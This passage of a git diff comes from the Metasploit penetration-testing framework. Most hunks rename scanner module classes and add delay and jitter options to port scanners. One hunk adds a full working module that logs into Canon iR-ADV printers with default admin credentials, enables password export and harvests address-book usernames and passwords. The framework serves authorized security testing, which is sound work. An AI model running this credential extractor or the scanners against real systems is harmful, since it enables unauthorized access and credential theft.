Metasploit3 < Msf::Auxiliary - tbl = Rex::Ui::Text::Table.new( + tbl = Rex::Text::Table.new( 'Header' => 'Oracle Server Hashes', 'Indent' => 1, 'Columns' => ['Username', 'Hash'] diff --git a/modules/auxiliary/scanner/oracle/oracle_login.rb b/modules/auxiliary/scanner/oracle/oracle_login.rb index b733440c72..19935590ea 100644 --- a/modules/auxiliary/scanner/oracle/oracle_login.rb +++ b/modules/auxiliary/scanner/oracle/oracle_login.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::Nmap diff --git a/modules/auxiliary/scanner/oracle/sid_brute.rb b/modules/auxiliary/scanner/oracle/sid_brute.rb index a61284d5fd..a670e1eb02 100644 --- a/modules/auxiliary/scanner/oracle/sid_brute.rb +++ b/modules/auxiliary/scanner/oracle/sid_brute.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::TNS include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/oracle/sid_enum.rb b/modules/auxiliary/scanner/oracle/sid_enum.rb index 7b24a42b36..d953f819a9 100644 --- a/modules/auxiliary/scanner/oracle/sid_enum.rb +++ b/modules/auxiliary/scanner/oracle/sid_enum.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::TNS include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/oracle/spy_sid.rb b/modules/auxiliary/scanner/oracle/spy_sid.rb index 3b740f7643..389baf3385 100644 --- a/modules/auxiliary/scanner/oracle/spy_sid.rb +++ b/modules/auxiliary/scanner/oracle/spy_sid.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/scanner/oracle/tnslsnr_version.rb b/modules/auxiliary/scanner/oracle/tnslsnr_version.rb index 3bd78c1437..4450a690bb 100644 --- a/modules/auxiliary/scanner/oracle/tnslsnr_version.rb +++ b/modules/auxiliary/scanner/oracle/tnslsnr_version.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/oracle/tnspoison_checker.rb b/modules/auxiliary/scanner/oracle/tnspoison_checker.rb index aab795941c..6ef85885fc 100644 --- a/modules/auxiliary/scanner/oracle/tnspoison_checker.rb +++ b/modules/auxiliary/scanner/oracle/tnspoison_checker.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner @@ -42,8 +42,22 @@ class Metasploit3 < Msf::Auxiliary send_packet = tns_packet("(CONNECT_DATA=(COMMAND=service_register_NSGR))") sock.put(send_packet) packet = sock.read(100) - find_packet = /\(ERROR_STACK=\(ERROR=/ === packet - find_packet == true ? print_error("#{ip}:#{rport} is not vulnerable ") : print_good("#{ip}:#{rport} is vulnerable") + if packet + hex_packet = Rex::Text.to_hex(packet, ':') + split_hex = hex_packet.split(':') + find_packet = /\(ERROR_STACK=\(ERROR=/ === packet + if find_packet == true #TNS Packet returned ERROR + print_error("#{ip}:#{rport} is not vulnerable") + elsif split_hex[5] == '02' #TNS Packet Type: ACCEPT + print_good("#{ip}:#{rport} is vulnerable") + elsif split_hex[5] == '04' #TNS Packet Type: REFUSE + print_error("#{ip}:#{rport} is not vulnerable") + else #All other TNS packet types or non-TNS packet type response cannot guarantee vulnerability + print_error("#{ip}:#{rport} might not be vulnerable") + end + else + print_error("#{ip}:#{rport} is not vulnerable") + end # TODO: Module should report_vuln if this finding is solid. rescue ::Rex::ConnectionError, ::Errno::EPIPE print_error("#{ip}:#{rport} unable to connect to the server") diff --git a/modules/auxiliary/scanner/oracle/xdb_sid.rb b/modules/auxiliary/scanner/oracle/xdb_sid.rb index c07928617e..fae6c4f40c 100644 --- a/modules/auxiliary/scanner/oracle/xdb_sid.rb +++ b/modules/auxiliary/scanner/oracle/xdb_sid.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/scanner/oracle/xdb_sid_brute.rb b/modules/auxiliary/scanner/oracle/xdb_sid_brute.rb index 8fe5687b47..4e7ff072d0 100644 --- a/modules/auxiliary/scanner/oracle/xdb_sid_brute.rb +++ b/modules/auxiliary/scanner/oracle/xdb_sid_brute.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb b/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb index d787bf7863..b442daa78d 100644 --- a/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb +++ b/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb @@ -5,7 +5,7 @@ require 'msf/core/exploit/tcp' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Exploit::Remote::Tcp include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/pcanywhere/pcanywhere_tcp.rb b/modules/auxiliary/scanner/pcanywhere/pcanywhere_tcp.rb index ab83d9191d..348bf2354c 100644 --- a/modules/auxiliary/scanner/pcanywhere/pcanywhere_tcp.rb +++ b/modules/auxiliary/scanner/pcanywhere/pcanywhere_tcp.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/pcanywhere/pcanywhere_udp.rb b/modules/auxiliary/scanner/pcanywhere/pcanywhere_udp.rb index 693c294945..e70063ed56 100644 --- a/modules/auxiliary/scanner/pcanywhere/pcanywhere_udp.rb +++ b/modules/auxiliary/scanner/pcanywhere/pcanywhere_udp.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::UDPScanner diff --git a/modules/auxiliary/scanner/pop3/pop3_login.rb b/modules/auxiliary/scanner/pop3/pop3_login.rb index 98ae8f9257..b869bea541 100644 --- a/modules/auxiliary/scanner/pop3/pop3_login.rb +++ b/modules/auxiliary/scanner/pop3/pop3_login.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'metasploit/framework/login_scanner/pop3' require 'metasploit/framework/credential_collection' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/pop3/pop3_version.rb b/modules/auxiliary/scanner/pop3/pop3_version.rb index ff3d1828c2..f2d1d45f4f 100644 --- a/modules/auxiliary/scanner/pop3/pop3_version.rb +++ b/modules/auxiliary/scanner/pop3/pop3_version.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/portmap/portmap_amp.rb b/modules/auxiliary/scanner/portmap/portmap_amp.rb index abc7f8ca76..b3e4fd2d44 100644 --- a/modules/auxiliary/scanner/portmap/portmap_amp.rb +++ b/modules/auxiliary/scanner/portmap/portmap_amp.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::UDPScanner diff --git a/modules/auxiliary/scanner/portscan/ack.rb b/modules/auxiliary/scanner/portscan/ack.rb index e020120a0e..35aa526103 100644 --- a/modules/auxiliary/scanner/portscan/ack.rb +++ b/modules/auxiliary/scanner/portscan/ack.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Capture include Msf::Auxiliary::Scanner @@ -27,6 +27,8 @@ class Metasploit3 < Msf::Auxiliary OptString.new('PORTS', [true, "Ports to scan (e.g. 22-25,80,110-900)", "1-10000"]), OptInt.new('TIMEOUT', [true, "The reply read timeout in milliseconds", 500]), OptInt.new('BATCHSIZE', [true, "The number of hosts to scan per set", 256]), + OptInt.new('DELAY', [true, "The delay between connections, per thread, in milliseconds", 0]), + OptInt.new('JITTER', [true, "The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.", 0]), OptString.new('INTERFACE', [false, 'The name of the interface']) ], self.class) @@ -43,16 +45,26 @@ class Metasploit3 < Msf::Auxiliary end def run_batch(hosts) - open_pcap - - pcap = self.capture ports = Rex::Socket.portspec_crack(datastore['PORTS']) - if ports.empty? raise Msf::OptionValidateError.new(['PORTS']) end + jitter_value = datastore['JITTER'].to_i + if jitter_value < 0 + raise Msf::OptionValidateError.new(['JITTER']) + end + + delay_value = datastore['DELAY'].to_i + if delay_value < 0 + raise Msf::OptionValidateError.new(['DELAY']) + end + + open_pcap + + pcap = self.capture + to = (datastore['TIMEOUT'] || 500).to_f / 1000.0 # we copy the hosts because some may not be reachable and need to be ejected @@ -64,6 +76,9 @@ class Metasploit3 < Msf::Auxiliary pcap.setfilter(getfilter(shost, sport, dhost, dport)) + # Add the delay based on JITTER and DELAY if needs be + add_delay_jitter(delay_value,jitter_value) + begin probe = buildprobe(shost, sport, dhost, dport) diff --git a/modules/auxiliary/scanner/portscan/ftpbounce.rb b/modules/auxiliary/scanner/portscan/ftpbounce.rb index d84256ff30..399a6e1708 100644 --- a/modules/auxiliary/scanner/portscan/ftpbounce.rb +++ b/modules/auxiliary/scanner/portscan/ftpbounce.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # Order is important here include Msf::Auxiliary::Report @@ -26,7 +26,9 @@ class Metasploit3 < Msf::Auxiliary register_options([ OptString.new('PORTS', [true, "Ports to scan (e.g. 22-25,80,110-900)", "1-10000"]), OptAddress.new('BOUNCEHOST', [true, "FTP relay host"]), - OptPort.new('BOUNCEPORT', [true, "FTP relay port", 21]) + OptPort.new('BOUNCEPORT', [true, "FTP relay port", 21]), + OptInt.new('DELAY', [true, "The delay between connections, per thread, in milliseconds", 0]), + OptInt.new('JITTER', [true, "The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.", 0]) ]) deregister_options('RHOST', 'RPORT') @@ -47,11 +49,20 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) ports = Rex::Socket.portspec_crack(datastore['PORTS']) - if ports.empty? raise Msf::OptionValidateError.new(['PORTS']) end + jitter_value = datastore['JITTER'].to_i + if jitter_value < 0 + raise Msf::OptionValidateError.new(['JITTER']) + end + + delay_value = datastore['DELAY'].to_i + if delay_value < 0 + raise Msf::OptionValidateError.new(['DELAY']) + end + return if not connect_login ports.each do |port| @@ -64,8 +75,11 @@ class Metasploit3 < Msf::Auxiliary end begin - host = (ip.split('.') + [port / 256, port % 256]).join(',') + # Add the delay based on JITTER and DELAY if needs be + add_delay_jitter(delay_value,jitter_value) + + host = (ip.split('.') + [port / 256, port % 256]).join(',') resp = send_cmd(["PORT", host]) if resp =~ /^5/ diff --git a/modules/auxiliary/scanner/portscan/syn.rb b/modules/auxiliary/scanner/portscan/syn.rb index b59ee5c028..d91ed8bb14 100644 --- a/modules/auxiliary/scanner/portscan/syn.rb +++ b/modules/auxiliary/scanner/portscan/syn.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Capture include Msf::Auxiliary::Report @@ -25,6 +25,8 @@ class Metasploit3 < Msf::Auxiliary OptString.new('PORTS', [true, "Ports to scan (e.g. 22-25,80,110-900)", "1-10000"]), OptInt.new('TIMEOUT', [true, "The reply read timeout in milliseconds", 500]), OptInt.new('BATCHSIZE', [true, "The number of hosts to scan per set", 256]), + OptInt.new('DELAY', [true, "The delay between connections, per thread, in milliseconds", 0]), + OptInt.new('JITTER', [true, "The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.", 0]), OptString.new('INTERFACE', [false, 'The name of the interface']) ], self.class) @@ -41,16 +43,24 @@ class Metasploit3 < Msf::Auxiliary end def run_batch(hosts) - open_pcap - - pcap = self.capture - ports = Rex::Socket.portspec_crack(datastore['PORTS']) - if ports.empty? raise Msf::OptionValidateError.new(['PORTS']) end + jitter_value = datastore['JITTER'].to_i + if jitter_value < 0 + raise Msf::OptionValidateError.new(['JITTER']) + end + + delay_value = datastore['DELAY'].to_i + if delay_value < 0 + raise Msf::OptionValidateError.new(['DELAY']) + end + + open_pcap + pcap = self.capture + to = (datastore['TIMEOUT'] || 500).to_f / 1000.0 # we copy the hosts because some may not be reachable and need to be ejected @@ -62,6 +72,9 @@ class Metasploit3 < Msf::Auxiliary self.capture.setfilter(getfilter(shost, sport, dhost, dport)) + # Add the delay based on JITTER and DELAY if needs be + add_delay_jitter(delay_value,jitter_value) + begin probe = buildprobe(shost, sport, dhost, dport) diff --git a/modules/auxiliary/scanner/portscan/tcp.rb b/modules/auxiliary/scanner/portscan/tcp.rb index 299c1210af..bfe24b14b4 100644 --- a/modules/auxiliary/scanner/portscan/tcp.rb +++ b/modules/auxiliary/scanner/portscan/tcp.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -17,7 +17,11 @@ class Metasploit3 < Msf::Auxiliary def initialize super( 'Name' => 'TCP Port Scanner', - 'Description' => 'Enumerate open TCP services', + 'Description' => %q{ + Enumerate open TCP services by performing a full TCP connect on each port. + This does not need administrative privileges on the source machine, which + may be useful if pivoting. + }, 'Author' => [ 'hdm', 'kris katterjohn' ], 'License' => MSF_LICENSE ) @@ -27,13 +31,14 @@ class Metasploit3 < Msf::Auxiliary OptString.new('PORTS', [true, "Ports to scan (e.g. 22-25,80,110-900)", "1-10000"]), OptInt.new('TIMEOUT', [true, "The socket connect timeout in milliseconds", 1000]), OptInt.new('CONCURRENCY', [true, "The number of concurrent ports to check per host", 10]), + OptInt.new('DELAY', [true, "The delay between connections, per thread, in milliseconds", 0]), + OptInt.new('JITTER', [true, "The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.", 0]), ], self.class) deregister_options('RPORT') end - def run_host(ip) timeout = datastore['TIMEOUT'].to_i @@ -44,6 +49,16 @@ class Metasploit3 < Msf::Auxiliary raise Msf::OptionValidateError.new(['PORTS']) end + jitter_value = datastore['JITTER'].to_i + if jitter_value < 0 + raise Msf::OptionValidateError.new(['JITTER']) + end + + delay_value = datastore['DELAY'].to_i + if delay_value < 0 + raise Msf::OptionValidateError.new(['DELAY']) + end + while(ports.length > 0) t = [] r = [] @@ -53,6 +68,11 @@ class Metasploit3 < Msf::Auxiliary break if not this_port t << framework.threads.spawn("Module(#{self.refname})-#{ip}:#{this_port}", false, this_port) do |port| begin + + # Add the delay based on JITTER and DELAY if needs be + add_delay_jitter(delay_value,jitter_value) + + # Actually perform the TCP connection s = connect(false, { 'RPORT' => port, diff --git a/modules/auxiliary/scanner/portscan/xmas.rb b/modules/auxiliary/scanner/portscan/xmas.rb index 8f64a84695..6c079a3174 100644 --- a/modules/auxiliary/scanner/portscan/xmas.rb +++ b/modules/auxiliary/scanner/portscan/xmas.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Capture include Msf::Auxiliary::Scanner @@ -27,6 +27,8 @@ class Metasploit3 < Msf::Auxiliary OptString.new('PORTS', [true, "Ports to scan (e.g. 22-25,80,110-900)", "1-10000"]), OptInt.new('TIMEOUT', [true, "The reply read timeout in milliseconds", 500]), OptInt.new('BATCHSIZE', [true, "The number of hosts to scan per set", 256]), + OptInt.new('DELAY', [true, "The delay between connections, per thread, in milliseconds", 0]), + OptInt.new('JITTER', [true, "The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.", 0]), OptString.new('INTERFACE', [false, 'The name of the interface']) ], self.class) @@ -48,11 +50,20 @@ class Metasploit3 < Msf::Auxiliary pcap = self.capture ports = Rex::Socket.portspec_crack(datastore['PORTS']) - if ports.empty? raise Msf::OptionValidateError.new(['PORTS']) end + jitter_value = datastore['JITTER'].to_i + if jitter_value < 0 + raise Msf::OptionValidateError.new(['JITTER']) + end + + delay_value = datastore['DELAY'].to_i + if delay_value < 0 + raise Msf::OptionValidateError.new(['DELAY']) + end + to = (datastore['TIMEOUT'] || 500).to_f / 1000.0 # we copy the hosts because some may not be reachable and need to be ejected @@ -67,6 +78,9 @@ class Metasploit3 < Msf::Auxiliary begin probe = buildprobe(shost, sport, dhost, dport) + # Add the delay based on JITTER and DELAY if needs be + add_delay_jitter(delay_value,jitter_value) + unless capture_sendto(probe, dhost) host_queue.delete(dhost) next diff --git a/modules/auxiliary/scanner/postgres/postgres_dbname_flag_injection.rb b/modules/auxiliary/scanner/postgres/postgres_dbname_flag_injection.rb index 9e48bfc0ec..12c8177688 100644 --- a/modules/auxiliary/scanner/postgres/postgres_dbname_flag_injection.rb +++ b/modules/auxiliary/scanner/postgres/postgres_dbname_flag_injection.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/postgres/postgres_hashdump.rb b/modules/auxiliary/scanner/postgres/postgres_hashdump.rb index a4c3066cfb..2ddb14f259 100644 --- a/modules/auxiliary/scanner/postgres/postgres_hashdump.rb +++ b/modules/auxiliary/scanner/postgres/postgres_hashdump.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Postgres include Msf::Auxiliary::Report @@ -94,7 +94,7 @@ class Metasploit3 < Msf::Auxiliary end - tbl = Rex::Ui::Text::Table.new( + tbl = Rex::Text::Table.new( 'Header' => 'Postgres Server Hashes', 'Indent' => 1, 'Columns' => ['Username', 'Hash'] diff --git a/modules/auxiliary/scanner/postgres/postgres_login.rb b/modules/auxiliary/scanner/postgres/postgres_login.rb index 9c2d96dc71..5c5bf308d3 100644 --- a/modules/auxiliary/scanner/postgres/postgres_login.rb +++ b/modules/auxiliary/scanner/postgres/postgres_login.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/postgres' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Postgres include Msf::Auxiliary::AuthBrute diff --git a/modules/auxiliary/scanner/postgres/postgres_schemadump.rb b/modules/auxiliary/scanner/postgres/postgres_schemadump.rb index b42313a194..59915acedc 100644 --- a/modules/auxiliary/scanner/postgres/postgres_schemadump.rb +++ b/modules/auxiliary/scanner/postgres/postgres_schemadump.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Postgres include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/postgres/postgres_version.rb b/modules/auxiliary/scanner/postgres/postgres_version.rb index 8a2bea7d9c..d8e6036db0 100644 --- a/modules/auxiliary/scanner/postgres/postgres_version.rb +++ b/modules/auxiliary/scanner/postgres/postgres_version.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Postgres include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/printer/canon_iradv_pwd_extract.rb b/modules/auxiliary/scanner/printer/canon_iradv_pwd_extract.rb new file mode 100644 index 0000000000..17e877aa08 --- /dev/null +++ b/modules/auxiliary/scanner/printer/canon_iradv_pwd_extract.rb @@ -0,0 +1,215 @@ +# +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Canon IR-Adv Password Extractor', + 'Description' => %q{ + This module will extract the passwords from address books on various Canon IR-Adv mfp devices. + Tested models: + iR-ADV C2030, + iR-ADV 4045, + iR-ADV C5030, + iR-ADV C5235, + iR-ADV C5240, + iR-ADV 6055, + iR-ADV C7065 + }, + 'Author' => + [ + 'Deral "Percentx" Heiland', + 'Pete "Bokojan" Arzamendi', + 'William Vu', + 'Dev Mohanty' + ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", false]), + OptInt.new('ADDRSBOOK', [ true, 'The number of the address book to extract 1-11', 1]), + Opt::RPORT(8000), + OptString.new('USER', [ true, 'The default Admin user', '7654321']), + OptString.new('PASSWD', [ true, 'The default Admin password', '7654321']), + OptInt.new('TIMEOUT', [true, 'Timeout for printer probe', 20]) + + ], self.class) + end + + def run_host(ip) + print_status("Attempting to extract passwords from the address books on the MFP at #{rhost}") + login(ip) + end + +#Authenticate to management function on Canon MFP and build needed cookies for dta harvesting + def login(ip) + vars_post = { + "uri" => "%2f", + "deptid" => "#{datastore['USER']}", + "password" => "#{datastore['PASSWD']}" + } + begin + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri('/login'), + 'vars_post' => vars_post + }, datastore['TIMEOUT'].to_i) + end + + #grab Canon sessionid cookie + idcookie = res.nil? ? nil : res.get_cookies + + if res.code == 301 || res.code == 302 && res.headers.include?('Location') + print_good("#{rhost} - SUCCESSFUL login with USER='#{datastore['USER']}' : PASSWORD='#{datastore['PASSWD']}'") + + #grab Canon IR= session cookie + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('/rps/nativetop.cgi?RUIPNxBundle=&CorePGTAG=PGTAG_CONF_ENV_PAP&Dummy=1400782981064'), + 'headers' => {'Cookie' => "#{idcookie}"}, + }, datastore['TIMEOUT'].to_i) + ircookie = res.nil? ? nil : res.get_cookies + cookies=("#{idcookie}; #{ircookie}") + + set_allow(cookies) + extract(cookies, ip) + set_disallow(cookies) + + else + print_error("Failed to login on #{rhost}. Please check the password for the #{datastore['USER']} account ") + end + end + + + # Set the allow password export to on + def set_allow(cookies) + vars_post = { + "ADRSEXPPSWDCHK" => "0", + "PageFlag" => "c_adrs.tpl", + "Flag" => "Exec_Data", + "CoreNXAction" => "./cadrs.cgi", + "CoreNXPage" => "c_adrexppass.tpl", + "CoreNXFlag" => "Init_Data", + "Dummy" => "1359048058115" + } + begin + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri('/rps/cadrs.cgi'), + 'vars_post' => vars_post, + 'headers' => {'Cookie' => "#{cookies}"}, + }, datastore['TIMEOUT'].to_i) + end + end + + # Extract the adress book data and save out to loot + def extract(cookies, ip) + vars_post = { + "AID" => "#{datastore['ADDRSBOOK']}", + "ACLS" => "1", + "ENC_MODE" => "0", + "ENC_FILE" => "password", + "PASSWD" => "", + "PageFlag" => "", + "AMOD" => "", + "Dummy" => "1359047882596", + "ERR_PG_KIND_FLG" => "Adress_Export" + } + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri('/rps/abook.ldif'), + 'vars_post' => vars_post, + 'headers' => {'Cookie' => "#{cookies}"}, + }, datastore['TIMEOUT'].to_i) + address_book = res.nil? ? nil : res.body + print_status("#{address_book}") + + #Woot we got loot. + loot_name = "canon.iradv.addressbook" + loot_type = "text/plain" + loot_filename = "Canon-addressbook.text" + loot_desc = "Canon Addressbook Harvester" + p = store_loot(loot_name, loot_type, datastore['RHOST'], address_book , loot_filename, loot_desc) + print_status("Credentials saved in: #{p}") + + harvest_ldif(address_book, ip) + end + +# Reset the allow password export to off + def set_disallow(cookies) + vars_post = { + "ADRSEXPPSWDCHK" => "1", + "PageFlag" => "c_adrs.tpl", + "Flag" => "Exec_Data", + "CoreNXAction" => "./cadrs.cgi", + "CoreNXPage" => "c_adrexppass.tpl", + "CoreNXFlag" => "Init_Data", + "Dummy" => "1359048058115" + } + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri('/rps/cadrs.cgi'), + 'vars_post' => vars_post, + 'headers' => {'Cookie' => "#{cookies}"}, + }, datastore['TIMEOUT'].to_i) + end + + # Harvest Credential + def harvest_ldif(address_book, ip) + harvest_file(address_book, ip) + end + + def harvest_credentials(mailaddress, pwd, ip) + return if mailaddress == nil + username_domain = mailaddress.split('@') + username = username_domain[0] + domain = username_domain[1] + + service_data = { + address: Rex::Socket.getaddress(ip), + port: rport, + protocol: 'tcp', + service_name: ssl ? 'https' : 'http', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + username: username, + private_data: pwd, + private_type: :password + } + + create_credential(credential_data.merge(service_data)) + + print_good "Domain: #{domain}\nUser: #{username}\nPassword: #{pwd}\n\r" + end + + def harvest_file(ldif, ip) + users = [] + ldif.split("\r\n\r\n").each do |user| + user_attributes = {} + user.split("\r\n").each do |attribute| + attribute_array = attribute.split(": ") + attr_name = attribute_array.shift + attr_value = attribute_array.join + user_attributes[attr_name] = attr_value + end + harvest_credentials((user_attributes['username'] || user_attributes['mailaddress'] || user_attributes['mail']), user_attributes['pwd'], ip) + users << user_attributes + end + end + +end diff --git a/modules/auxiliary/scanner/printer/printer_delete_file.rb b/modules/auxiliary/scanner/printer/printer_delete_file.rb index 4b561b4877..6dc859651d 100644 --- a/modules/auxiliary/scanner/printer/printer_delete_file.rb +++ b/modules/auxiliary/scanner/printer/printer_delete_file.rb @@ -6,7 +6,7 @@ require "msf/core" require "rex/proto/pjl" -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/printer/printer_download_file.rb b/modules/auxiliary/scanner/printer/printer_download_file.rb index 64c04d999d..4e4f2293e7 100644 --- a/modules/auxiliary/scanner/printer/printer_download_file.rb +++ b/modules/auxiliary/scanner/printer/printer_download_file.rb @@ -6,7 +6,7 @@ require "msf/core" require "rex/proto/pjl" -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/printer/printer_env_vars.rb b/modules/auxiliary/scanner/printer/printer_env_vars.rb index c1546ccb66..884764477b 100644 --- a/modules/auxiliary/scanner/printer/printer_env_vars.rb +++ b/modules/auxiliary/scanner/printer/printer_env_vars.rb @@ -6,7 +6,7 @@ require "msf/core" require "rex/proto/pjl" -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/printer/printer_list_dir.rb b/modules/auxiliary/scanner/printer/printer_list_dir.rb index 49f70ec717..068705657a 100644 --- a/modules/auxiliary/scanner/printer/printer_list_dir.rb +++ b/modules/auxiliary/scanner/printer/printer_list_dir.rb @@ -6,7 +6,7 @@ require "msf/core" require "rex/proto/pjl" -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/printer/printer_list_volumes.rb b/modules/auxiliary/scanner/printer/printer_list_volumes.rb index d596504844..4d6e01235e 100644 --- a/modules/auxiliary/scanner/printer/printer_list_volumes.rb +++ b/modules/auxiliary/scanner/printer/printer_list_volumes.rb @@ -6,7 +6,7 @@ require "msf/core" require "rex/proto/pjl" -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/printer/printer_ready_message.rb b/modules/auxiliary/scanner/printer/printer_ready_message.rb index 610a1f6bb4..10445e7ffd 100644 --- a/modules/auxiliary/scanner/printer/printer_ready_message.rb +++ b/modules/auxiliary/scanner/printer/printer_ready_message.rb @@ -6,7 +6,7 @@ require "msf/core" require "rex/proto/pjl" -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/printer/printer_upload_file.rb b/modules/auxiliary/scanner/printer/printer_upload_file.rb index 3f0fe0229e..3971e8b1cf 100644 --- a/modules/auxiliary/scanner/printer/printer_upload_file.rb +++ b/modules/auxiliary/scanner/printer/printer_upload_file.rb @@ -6,7 +6,7 @@ require "msf/core" require "rex/proto/pjl" -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/printer/printer_version_info.rb b/modules/auxiliary/scanner/printer/printer_version_info.rb index 5171a46a3c..d23312a60e 100644 